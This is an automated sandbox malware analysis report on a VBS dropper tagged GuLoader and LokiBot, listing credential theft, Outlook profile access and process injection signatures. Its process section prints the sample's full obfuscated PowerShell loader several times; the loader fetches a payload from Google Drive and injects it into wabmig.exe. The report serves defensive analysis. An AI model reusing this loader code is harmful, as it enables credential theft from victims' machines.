Malware Analysis Report

2024-11-30 23:46

Sample ID 240917-bk9nkayepf
Target 5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs
SHA256 5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7
Tags
guloader lokibot collection credential_access discovery downloader spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7

Threat Level: Known bad

The file 5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs was found to be: Known bad.

Malicious Activity Summary

guloader lokibot collection credential_access discovery downloader spyware stealer trojan

Guloader,Cloudeye

Lokibot

Credentials from Password Stores: Credentials from Web Browsers

Blocklisted process makes network request

Checks computer location settings

Accesses Microsoft Outlook profiles

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Suspicious use of NtSetInformationThreadHideFromDebugger

Suspicious use of NtCreateThreadExHideFromDebugger

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

outlook_office_path

outlook_win_path

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of WriteProcessMemory

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-17 01:13

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-17 01:13

Reported

2024-09-17 01:15

Platform

win10v2004-20240802-en

Max time kernel

148s

Max time network

146s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3020 set thread context of 4952 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3688 wrote to memory of 2684 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3688 wrote to memory of 2684 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 4712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 4712 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 3000 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2684 wrote to memory of 3000 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 3020 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3000 wrote to memory of 3020 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3000 wrote to memory of 3020 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3020 wrote to memory of 372 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 372 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 372 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3020 wrote to memory of 4952 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3020 wrote to memory of 4952 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3020 wrote to memory of 4952 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3020 wrote to memory of 4952 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3020 wrote to memory of 4952 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4352,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=1304 /prefetch:8

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea 